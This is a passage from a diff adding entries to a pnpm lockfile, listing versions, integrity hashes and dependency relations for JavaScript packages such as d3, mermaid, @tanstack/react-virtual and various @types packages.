dev: false + + /@tanstack/react-virtual@3.2.0(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-OEdMByf2hEfDa6XDbGlZN8qO6bTjlNKqjM3im9JG+u3mCL8jALy0T/67oDI001raUUPh1Bdmfn4ZvPOV5knpcg==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + '@tanstack/virtual-core': 3.2.0 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + dev: false + + /@tanstack/virtual-core@3.2.0: + resolution: {integrity: sha512-P5XgYoAw/vfW65byBbJQCw+cagdXDT/qH6wmABiLt4v4YBT2q2vqCOhihe+D1Nt325F/S/0Tkv6C5z0Lv+VBQQ==} + dev: false + + /@theguild/remark-mermaid@0.0.5(react@18.2.0): + resolution: {integrity: sha512-e+ZIyJkEv9jabI4m7q29wZtZv+2iwPGsXJ2d46Zi7e+QcFudiyuqhLhHG/3gX3ZEB+hxTch+fpItyMS8jwbIcw==} + peerDependencies: + react: ^18.2.0 + dependencies: + mermaid: 10.9.0 + react: 18.2.0 + unist-util-visit: 5.0.0 + transitivePeerDependencies: + - supports-color + dev: false + + /@theguild/remark-npm2yarn@0.2.1: + resolution: {integrity: sha512-jUTFWwDxtLEFtGZh/TW/w30ySaDJ8atKWH8dq2/IiQF61dPrGfETpl0WxD0VdBfuLOeU14/kop466oBSRO/5CA==} + dependencies: + npm-to-yarn: 2.2.1 + unist-util-visit: 5.0.0 + dev: false + + /@types/acorn@4.0.6: + resolution: {integrity: sha512-veQTnWP+1D/xbxVrPC3zHnCZRjSrKfhbMUlEA43iMZLu7EsnTtkJklIuwrCPbOi8YkvDQAiW05VQQFvvz9oieQ==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /@types/d3-scale-chromatic@3.0.3: + resolution: {integrity: sha512-laXM4+1o5ImZv3RpFAsTRn3TEkzqkytiOY0Dz0sq5cnd1dtNlk6sHLon4OvqaiJb28T0S/TdsBI3Sjsy+keJrw==} + dev: false + + /@types/d3-scale@4.0.8: + resolution: {integrity: sha512-gkK1VVTr5iNiYJ7vWDI+yUFFlszhNMtVeneJ6lUTKPjprsvLLI9/tgEGiXJOnlINJA8FyA88gfnQsHbybVZrYQ==} + dependencies: + '@types/d3-time': 3.0.3 + dev: false + + /@types/d3-time@3.0.3: + resolution: {integrity: sha512-2p6olUZ4w3s+07q3Tm2dbiMZy5pCDfYwtLXXHUnVzXgQlZ/OyPtUz6OL382BkOuGlLXqfT+wqv8Fw2v8/0geBw==} + dev: false + + /@types/debug@4.1.12: + resolution: {integrity: sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==} + dependencies: + '@types/ms': 0.7.34 + dev: false + + /@types/estree-jsx@1.0.5: + resolution: {integrity: sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==} + dependencies: + '@types/estree': 1.0.5 + dev: false + + /@types/estree@1.0.5: + resolution: {integrity: sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==} + dev: false + + /@types/hast@2.3.10: + resolution: {integrity: sha512-McWspRw8xx8J9HurkVBfYj0xKoE25tOFlHGdx4MJ5xORQrMGZNqJhVQWaIbm6Oyla5kYOXtDiopzKRJzEOkwJw==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /@types/hast@3.0.4: + resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} + dependencies: + '@types/unist': 3.0.2 + dev: false + + /@types/js-yaml@4.0.9: + resolution: {integrity: sha512-k4MGaQl5TGo/iipqb2UDG2UwjXziSWkh0uysQelTlJpX1qGlpUZYm8PnO4DxG1qBomtJUdYJ6qR6xdIah10JLg==} + dev: false + + /@types/katex@0.16.7: + resolution: {integrity: sha512-HMwFiRujE5PjrgwHQ25+bsLJgowjGjm5Z8FVSf0N6PwgJrwxH0QxzHYDcKsTfV3wva0vzrpqMTJS2jXPr5BMEQ==} + dev: false + + /@types/mdast@3.0.15: + resolution: {integrity: sha512-LnwD+mUEfxWMa1QpDraczIn6k0Ee3SMicuYSSzS6ZYl2gKS09EClnJYGd8Du6rfc5r/GZEk5o1mRb8TaTj03sQ==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /@types/mdast@4.0.3: + resolution: {integrity: sha512-LsjtqsyF+d2/yFOYaN22dHZI1Cpwkrj+g06G8+qtUKlhovPW89YhqSnfKtMbkgmEtYpH2gydRNULd6y8mciAFg==} + dependencies: + '@types/unist': 3.0.2 + dev: false + + /@types/mdx@2.0.12: + resolution: {integrity: sha512-H9VZ9YqE+H28FQVchC83RCs5xQ2J7mAAv6qdDEaWmXEVl3OpdH+xfrSUzQ1lp7U7oSTRZ0RvW08ASPJsYBi7Cw==} + dev: false + + /@types/ms@0.7.34: + resolution: {integrity: sha512-nG96G3Wp6acyAgJqGasjODb+acrI7KltPiRxzHPXnP3NgI28bpQDRv53olbqGXbfcgF5aiiHmO3xpwEpS5Ld9g==} + dev: false + + /@types/node@18.11.10: + resolution: {integrity: sha512-juG3RWMBOqcOuXC643OAdSA525V44cVgGV6dUDuiFtss+8Fk5x1hI93Rsld43VeJVIeqlP9I7Fn9/qaVqoEAuQ==} + dev: true + + /@types/prop-types@15.7.11: + resolution: {integrity: sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng==} + dev: false + + /@types/react@18.2.67: + resolution: {integrity: sha512-vkIE2vTIMHQ/xL0rgmuoECBCkZFZeHr49HeWSc24AptMbNRo7pwSBvj73rlJJs9fGKj0koS+V7kQB1jHS0uCgw==} + dependencies: + '@types/prop-types': 15.7.11 + '@types/scheduler': 0.16.8 + csstype: 3.1.3 + dev: false + + /@types/scheduler@0.16.8: + resolution: {integrity: sha512-WZLiwShhwLRmeV6zH+GkbOFT6Z6VklCItrDioxUnv+u4Ll+8vKeFySoFyK/0ctcRpOmwAicELfmys1sDc/Rw+A==} + dev: false + + /@types/unist@2.0.10: + resolution: {integrity: sha512-IfYcSBWE3hLpBg8+X2SEa8LVkJdJEkT2Ese2aaLs3ptGdVtABxndrMaxuFlQ1qdFf9Q5rDvDpxI3WwgvKFAsQA==} + dev: false + + /@types/unist@3.0.2: + resolution: {integrity: sha512-dqId9J8K/vGi5Zr7oo212BGii5m3q5Hxlkwy3WpYuKPklmBEvsbMYYyLxAQpSffdLl/gdW0XUpKWFvYmyoWCoQ==} + dev: false + + /@ungap/structured-clone@1.2.0: + resolution: {integrity: sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ==} + dev: false + + /acorn-jsx@5.3.2(acorn@8.11.3): + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + dependencies: + acorn: 8.11.3 + dev: false + + /acorn@8.11.3: + resolution: {integrity: sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==} + engines: {node: '>=0.4.0'} + hasBin: true + dev: false + + /ansi-sequence-parser@1.1.1: + resolution: {integrity: sha512-vJXt3yiaUL4UU546s3rPXlsry/RnM730G1+HkpKE012AN0sx1eOrxSu95oKDIonskeLTijMgqWZ3uDEe3NFvyg==} + dev: false + + /ansi-styles@3.2.1: + resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} + engines: {node: '>=4'} + dependencies: + color-convert: 1.9.3 + dev: false + + /arch@2.2.0: + resolution: {integrity: sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==} + dev: false + + /arg@1.0.0: + resolution: {integrity: sha512-Wk7TEzl1KqvTGs/uyhmHO/3XLd3t1UeU4IstvPXVzGPM522cTjqjNZ99esCkcL52sjqjo8e8CTBcWhkxvGzoAw==} + dev: false + + /argparse@1.0.10: + resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} + dependencies: + sprintf-js: 1.0.3 + dev: false + + /argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + dev: false + + /astring@1.8.6: + resolution: {integrity: sha512-ISvCdHdlTDlH5IpxQJIex7BWBywFWgjJSVdwst+/iQCoEYnyOaQ95+X1JGshuBjGp6nxKUy1jMgE3zPqN7fQdg==} + hasBin: true + dev: false + + /bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + dev: false + + /busboy@1.6.0: + resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} + engines: {node: '>=10.16.0'} + dependencies: + streamsearch: 1.1.0 + dev: false + + /caniuse-lite@1.0.30001600: + resolution: {integrity: sha512-+2S9/2JFhYmYaDpZvo0lKkfvuKIglrx68MwOBqMGHhQsNkLjB5xtc/TGoEPs+MxjSyN/72qer2g97nzR641mOQ==} + dev: false + + /ccount@2.0.1: + resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} + dev: false + + /chalk@2.3.0: + resolution: {integrity: sha512-Az5zJR2CBujap2rqXGaJKaPHyJ0IrUimvYNX+ncCy8PJP4ltOGTrHUIo097ZaL2zMeKYpiCdqDvS6zdrTFok3Q==} + engines: {node: '>=4'} + dependencies: + ansi-styles: 3.2.1 + escape-string-regexp: 1.0.5 + supports-color: 4.5.0 + dev: false + + /character-entities-html4@2.1.0: + resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} + dev: false + + /character-entities-legacy@3.0.0: + resolution: {integrity: sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==} + dev: false + + /character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} + dev: false + + /character-reference-invalid@2.0.1: + resolution: {integrity: sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==} + dev: false + + /client-only@0.0.1: + resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==} + dev: false + + /clipboardy@1.2.2: + resolution: {integrity: sha512-16KrBOV7bHmHdxcQiCvfUFYVFyEah4FI8vYT1Fr7CGSA4G+xBWMEfUEQJS1hxeHGtI9ju1Bzs9uXSbj5HZKArw==} + engines: {node: '>=4'} + dependencies: + arch: 2.2.0 + execa: 0.8.0 + dev: false + + /clsx@2.1.0: + resolution: {integrity: sha512-m3iNNWpd9rl3jvvcBnu70ylMdrXt8Vlq4HYadnU5fwcOtvkSQWPmj7amUcDT2qYI7risszBjI5AUIUox9D16pg==} + engines: {node: '>=6'} + dev: false + + /color-convert@1.9.3: + resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} + dependencies: + color-name: 1.1.3 + dev: false + + /color-name@1.1.3: + resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} + dev: false + + /comma-separated-tokens@2.0.3: + resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} + dev: false + + /commander@7.2.0: + resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} + engines: {node: '>= 10'} + dev: false + + /commander@8.3.0: + resolution: {integrity: sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==} + engines: {node: '>= 12'} + dev: false + + /compute-scroll-into-view@3.1.0: + resolution: {integrity: sha512-rj8l8pD4bJ1nx+dAkMhV1xB5RuZEyVysfxJqB1pRchh1KVvwOv9b7CGB8ZfjTImVv2oF+sYMUkMZq6Na5Ftmbg==} + dev: false + + /cose-base@1.0.3: + resolution: {integrity: sha512-s9whTXInMSgAp/NVXVNuVxVKzGH2qck3aQlVHxDCdAEPgtMKwc4Wq6/QKhgdEdgbLSi9rBTAcPoRa6JpiG4ksg==} + dependencies: + layout-base: 1.0.2 + dev: false + + /cross-spawn@5.1.0: + resolution: {integrity: sha512-pTgQJ5KC0d2hcY8eyL1IzlBPYjTkyH72XRZPnLyKus2mBfNjQs3klqbJU2VILqZryAZUt9JOb3h/mWMy23/f5A==} + dependencies: + lru-cache: 4.1.5 + shebang-command: 1.2.0 + which: 1.3.1 + dev: false + + /csstype@3.1.3: + resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + dev: false + + /cytoscape-cose-bilkent@4.1.0(cytoscape@3.28.1): + resolution: {integrity: sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ==} + peerDependencies: + cytoscape: ^3.2.0 + dependencies: + cose-base: 1.0.3 + cytoscape: 3.28.1 + dev: false + + /cytoscape@3.28.1: + resolution: {integrity: sha512-xyItz4O/4zp9/239wCcH8ZcFuuZooEeF8KHRmzjDfGdXsj3OG9MFSMA0pJE0uX3uCN/ygof6hHf4L7lst+JaDg==} + engines: {node: '>=0.10'} + dependencies: + heap: 0.2.7 + lodash: 4.17.21 + dev: false + + /d3-array@2.12.1: + resolution: {integrity: sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==} + dependencies: + internmap: 1.0.1 + dev: false + + /d3-array@3.2.4: + resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==} + engines: {node: '>=12'} + dependencies: + internmap: 2.0.3 + dev: false + + /d3-axis@3.0.0: + resolution: {integrity: sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==} + engines: {node: '>=12'} + dev: false + + /d3-brush@3.0.0: + resolution: {integrity: sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==} + engines: {node: '>=12'} + dependencies: + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-transition: 3.0.1(d3-selection@3.0.0) + dev: false + + /d3-chord@3.0.1: + resolution: {integrity: sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==} + engines: {node: '>=12'} + dependencies: + d3-path: 3.1.0 + dev: false + + /d3-color@3.1.0: + resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==} + engines: {node: '>=12'} + dev: false + + /d3-contour@4.0.2: + resolution: {integrity: sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + dev: false + + /d3-delaunay@6.0.4: + resolution: {integrity: sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==} + engines: {node: '>=12'} + dependencies: + delaunator: 5.0.1 + dev: false + + /d3-dispatch@3.0.1: + resolution: {integrity: sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==} + engines: {node: '>=12'} + dev: false + + /d3-drag@3.0.0: + resolution: {integrity: sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==} + engines: {node: '>=12'} + dependencies: + d3-dispatch: 3.0.1 + d3-selection: 3.0.0 + dev: false + + /d3-dsv@3.0.1: + resolution: {integrity: sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==} + engines: {node: '>=12'} + hasBin: true + dependencies: + commander: 7.2.0 + iconv-lite: 0.6.3 + rw: 1.3.3 + dev: false + + /d3-ease@3.0.1: + resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==} + engines: {node: '>=12'} + dev: false + + /d3-fetch@3.0.1: + resolution: {integrity: sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==} + engines: {node: '>=12'} + dependencies: + d3-dsv: 3.0.1 + dev: false + + /d3-force@3.0.0: + resolution: {integrity: sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==} + engines: {node: '>=12'} + dependencies: + d3-dispatch: 3.0.1 + d3-quadtree: 3.0.1 + d3-timer: 3.0.1 + dev: false + + /d3-format@3.1.0: + resolution: {integrity: sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==} + engines: {node: '>=12'} + dev: false + + /d3-geo@3.1.1: + resolution: {integrity: sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + dev: false + + /d3-hierarchy@3.1.2: + resolution: {integrity: sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==} + engines: {node: '>=12'} + dev: false + + /d3-interpolate@3.0.1: + resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==} + engines: {node: '>=12'} + dependencies: + d3-color: 3.1.0 + dev: false + + /d3-path@1.0.9: + resolution: {integrity: sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==} + dev: false + + /d3-path@3.1.0: + resolution: {integrity: sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==} + engines: {node: '>=12'} + dev: false + + /d3-polygon@3.0.1: + resolution: {integrity: sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==} + engines: {node: '>=12'} + dev: false + + /d3-quadtree@3.0.1: + resolution: {integrity: sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==} + engines: {node: '>=12'} + dev: false + + /d3-random@3.0.1: + resolution: {integrity: sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==} + engines: {node: '>=12'} + dev: false + + /d3-sankey@0.12.3: + resolution: {integrity: sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ==} + dependencies: + d3-array: 2.12.1 + d3-shape: 1.3.7 + dev: false + + /d3-scale-chromatic@3.1.0: + resolution: {integrity: sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ==} + engines: {node: '>=12'} + dependencies: + d3-color: 3.1.0 + d3-interpolate: 3.0.1 + dev: false + + /d3-scale@4.0.2: + resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + d3-format: 3.1.0 + d3-interpolate: 3.0.1 + d3-time: 3.1.0 + d3-time-format: 4.1.0 + dev: false + + /d3-selection@3.0.0: + resolution: {integrity: sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==} + engines: {node: '>=12'} + dev: false + + /d3-shape@1.3.7: + resolution: {integrity: sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==} + dependencies: + d3-path: 1.0.9 + dev: false + + /d3-shape@3.2.0: + resolution: {integrity: sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==} + engines: {node: '>=12'} + dependencies: + d3-path: 3.1.0 + dev: false + + /d3-time-format@4.1.0: + resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==} + engines: {node: '>=12'} + dependencies: + d3-time: 3.1.0 + dev: false + + /d3-time@3.1.0: + resolution: {integrity: sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + dev: false + + /d3-timer@3.0.1: + resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==} + engines: {node: '>=12'} + dev: false + + /d3-transition@3.0.1(d3-selection@3.0.0): + resolution: {integrity: sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==} + engines: {node: '>=12'} + peerDependencies: + d3-selection: 2 - 3 + dependencies: + d3-color: 3.1.0 + d3-dispatch: 3.0.1 + d3-ease: 3.0.1 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-timer: 3.0.1 + dev: false + + /d3-zoom@3.0.0: + resolution: {integrity: sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==} + engines: {node: '>=12'} + dependencies: + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-interpolate: 3.0.1 + d3-selection: 3.0.0 + d3-transition: 3.0.1(d3-selection@3.0.0) + dev: false + + /d3@7.9.0: + resolution: {integrity: sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA==} + engines: {node: '>=12'} + dependencies: + d3-array: 3.2.4 + d3-axis: 3.0.0 + d3-brush: 3.0.0 + d3-chord: 3.0.1 + d3-color: 3.1.0 + d3-contour: 4.0.2 + d3-delaunay: 6.0.4 + d3-dispatch: 3.0.1 + d3-drag: 3.0.0 + d3-dsv: 3.0.1 + d3-ease: 3.0.1 + d3-fetch: 3.0.1 + d3-force: 3.0.0 + d3-format: 3.1.0 + d3-geo: 3.1.1 + d3-hierarchy: 3.1.2 + d3-interpolate: 3.0.1 + d3-path: 3.1.0 + d3-polygon: 3.0.1 + d3-quadtree: 3.0.1 + d3-random: 3.0.1 + d3-scale: 4.0.2 + d3-scale-chromatic: 3.1.0 + d3-selection: 3.0.0 + d3-shape: 3.2.0 + d3-time: 3.1.0 + d3-time-format: 4.1.0 + d3-timer: 3.0.1 + d3-transition: 3.0.1(d3-selection@3.0.0) + d3-zoom: 3.0.0 + dev: false + + /dagre-d3-es@7.0.10: + resolution: {integrity: sha512-qTCQmEhcynucuaZgY5/+ti3X/rnszKZhEQH/ZdWdtP1tA/y3VoHJzcVrO9pjjJCNpigfscAtoUB5ONcd2wNn0A==} + dependencies: + d3: 7.9.0 + lodash-es: 4.17.21 + dev: false + + /dayjs@1.11.10: + resolution: {integrity: sha512-vjAczensTgRcqDERK0SR2XMwsF/tSvnvlv6VcF2GIhg6Sx4yOIt/irsr1RDJsKiIyBzJDpCoXiWWq28MqH2cnQ==} + dev: false + + /debug@4.3.4: + resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + dependencies: + ms: 2.1.2 + dev: false + + /decode-named-character-reference@1.0.2: + resolution: {integrity: sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==} + dependencies: + character-entities: 2.0.2 + dev: false + + /delaunator@5.0.1: + resolution: {integrity: sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==} + dependencies: + robust-predicates: 3.0.2 + dev: false + + /dequal@2.0.3: + resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} + engines: {node: '>=6'} + dev: false + + /devlop@1.1.0: + resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + dependencies: + dequal: 2.0.3 + dev: false + + /diff@5.2.0: + resolution: {integrity: sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==} + engines: {node: '>=0.3.1'} + dev: false + + /dompurify@3.0.11: + resolution: {integrity: 